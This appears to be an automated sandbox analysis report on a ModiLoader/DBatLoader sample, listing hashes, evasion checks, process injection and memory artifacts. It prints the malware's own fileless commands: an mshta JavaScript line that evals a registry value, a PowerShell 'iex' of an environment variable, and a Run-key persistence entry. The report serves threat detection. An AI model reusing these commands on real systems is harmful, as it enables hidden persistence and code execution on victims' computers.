Analysis
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max time kernel
151s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
04-10-2022 18:27
Static task
static1
Behavioral task
behavioral1
Sample
c6b2d57e8ce70dae5585a096e2e17619.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
c6b2d57e8ce70dae5585a096e2e17619.exe
Resource
win10v2004-20220901-en
General
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Target
c6b2d57e8ce70dae5585a096e2e17619.exe
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Size
524KB
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MD5
c6b2d57e8ce70dae5585a096e2e17619
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SHA1
a61e6e668205f7fbdd2bc03dbd9e1ae85c9af241
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SHA256
62184398a535b5aa0ccd7457470cdb9ab4fc22aaaed11a19cef2ddba8d75eaf5
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SHA512
91c8895086107b72f48988ed807518630529646df26c094e4c4251ef58dc7a099bd59760c92f5ebaf9359d8e5196a4bfd1e3ced0dd8cb0634d0c27bbb8036f23
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SSDEEP
6144:PHoex1r1iKzGkYj+eNnHNvdySJbsSt+c4yR83tahDYz2aUIsR3GiXMj9KpJzLIW:/bL6k2+Ak6+hyy3E0bUBR3G2LIW
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 788 672 mshta.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 12 IoCs
Processes:
resource yara_rule behavioral1/memory/1408-56-0x0000000000400000-0x000000000048C1E8-memory.dmp modiloader_stage2 behavioral1/memory/1408-55-0x0000000000400000-0x000000000043C000-memory.dmp modiloader_stage2 behavioral1/memory/1408-57-0x0000000000400000-0x000000000048C1E8-memory.dmp modiloader_stage2 behavioral1/memory/1408-58-0x0000000001EE0000-0x0000000001FBC000-memory.dmp modiloader_stage2 behavioral1/memory/1408-62-0x0000000001EE0000-0x0000000001FBC000-memory.dmp modiloader_stage2 behavioral1/memory/1784-64-0x0000000005C40000-0x0000000005D1C000-memory.dmp modiloader_stage2 behavioral1/memory/1784-68-0x0000000005C40000-0x0000000005D1C000-memory.dmp modiloader_stage2 behavioral1/memory/1408-69-0x0000000001EE0000-0x0000000001FBC000-memory.dmp modiloader_stage2 behavioral1/memory/1648-70-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/1192-73-0x0000000000270000-0x00000000003BA000-memory.dmp modiloader_stage2 behavioral1/memory/1648-74-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/1192-75-0x0000000000270000-0x00000000003BA000-memory.dmp modiloader_stage2 -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 1648 regsvr32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\9e80860\\d83b055.bat\"" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.exeregsvr32.exedescription pid process target process PID 1784 set thread context of 1648 1784 powershell.exe regsvr32.exe PID 1648 set thread context of 1192 1648 regsvr32.exe regsvr32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Processes:
regsvr32.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe -
Modifies registry class 7 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell\open regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell\open\command regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:UG3Srx=\"t6xW8CQ\";OM9=new ActiveXObject(\"WScript.Shell\");vpjr0q7=\"jIi4UCc\";z2fHG=OM9.RegRead(\"HKCU\\\\software\\\\xeyhtcugx\\\\dghpxigz\");jumgjNw1=\"meH2N\";eval(z2fHG);zxcdm0lz2=\"D58cFu\";\"" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\.fd9f689f regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\.fd9f689f\ = "af6b739" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739 regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\af6b739\shell regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeregsvr32.exepid process 1784 powershell.exe 1784 powershell.exe 1784 powershell.exe 1784 powershell.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe 1648 regsvr32.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
powershell.exeregsvr32.exepid process 1784 powershell.exe 1648 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1784 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
c6b2d57e8ce70dae5585a096e2e17619.exepid process 1408 c6b2d57e8ce70dae5585a096e2e17619.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
mshta.exepowershell.exeregsvr32.exedescription pid process target process PID 788 wrote to memory of 1784 788 mshta.exe powershell.exe PID 788 wrote to memory of 1784 788 mshta.exe powershell.exe PID 788 wrote to memory of 1784 788 mshta.exe powershell.exe PID 788 wrote to memory of 1784 788 mshta.exe powershell.exe PID 1784 wrote to memory of 1648 1784 powershell.exe regsvr32.exe PID 1784 wrote to memory of 1648 1784 powershell.exe regsvr32.exe PID 1784 wrote to memory of 1648 1784 powershell.exe regsvr32.exe PID 1784 wrote to memory of 1648 1784 powershell.exe regsvr32.exe PID 1784 wrote to memory of 1648 1784 powershell.exe regsvr32.exe PID 1784 wrote to memory of 1648 1784 powershell.exe regsvr32.exe PID 1784 wrote to memory of 1648 1784 powershell.exe regsvr32.exe PID 1784 wrote to memory of 1648 1784 powershell.exe regsvr32.exe PID 1648 wrote to memory of 1192 1648 regsvr32.exe regsvr32.exe PID 1648 wrote to memory of 1192 1648 regsvr32.exe regsvr32.exe PID 1648 wrote to memory of 1192 1648 regsvr32.exe regsvr32.exe PID 1648 wrote to memory of 1192 1648 regsvr32.exe regsvr32.exe PID 1648 wrote to memory of 1192 1648 regsvr32.exe regsvr32.exe PID 1648 wrote to memory of 1192 1648 regsvr32.exe regsvr32.exe PID 1648 wrote to memory of 1192 1648 regsvr32.exe regsvr32.exe PID 1648 wrote to memory of 1192 1648 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\c6b2d57e8ce70dae5585a096e2e17619.exe"C:\Users\Admin\AppData\Local\Temp\c6b2d57e8ce70dae5585a096e2e17619.exe"1⤵
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:SrZEMo07="dH";V3S=new%20ActiveXObject("WScript.Shell");CDMQR4zY="TtAd";u1H8Hi=V3S.RegRead("HKCU\\software\\rTQSP64\\35M30hM");B9PdJIBw="RPN";eval(u1H8Hi);UU0YM7jKN="Q5l2";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:kyhcxk2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1192-75-0x0000000000270000-0x00000000003BA000-memory.dmpFilesize
1.3MB
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memory/1192-71-0x00000000002CC6D0-mapping.dmp
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memory/1192-73-0x0000000000270000-0x00000000003BA000-memory.dmpFilesize
1.3MB
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memory/1408-57-0x0000000000400000-0x000000000048C1E8-memory.dmpFilesize
560KB
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memory/1408-58-0x0000000001EE0000-0x0000000001FBC000-memory.dmpFilesize
880KB
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memory/1408-69-0x0000000001EE0000-0x0000000001FBC000-memory.dmpFilesize
880KB
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memory/1408-62-0x0000000001EE0000-0x0000000001FBC000-memory.dmpFilesize
880KB
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memory/1408-54-0x00000000750A1000-0x00000000750A3000-memory.dmpFilesize
8KB
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memory/1408-55-0x0000000000400000-0x000000000043C000-memory.dmpFilesize
240KB
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memory/1408-56-0x0000000000400000-0x000000000048C1E8-memory.dmpFilesize
560KB
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memory/1648-74-0x0000000000150000-0x000000000029A000-memory.dmpFilesize
1.3MB
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memory/1648-65-0x00000000001AC6D0-mapping.dmp
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memory/1648-70-0x0000000000150000-0x000000000029A000-memory.dmpFilesize
1.3MB
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memory/1784-63-0x00000000730B0000-0x000000007365B000-memory.dmpFilesize
5.7MB
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memory/1784-68-0x0000000005C40000-0x0000000005D1C000-memory.dmpFilesize
880KB
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memory/1784-67-0x00000000730B0000-0x000000007365B000-memory.dmpFilesize
5.7MB
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memory/1784-64-0x0000000005C40000-0x0000000005D1C000-memory.dmpFilesize
880KB
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memory/1784-61-0x00000000730B0000-0x000000007365B000-memory.dmpFilesize
5.7MB
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memory/1784-59-0x0000000000000000-mapping.dmp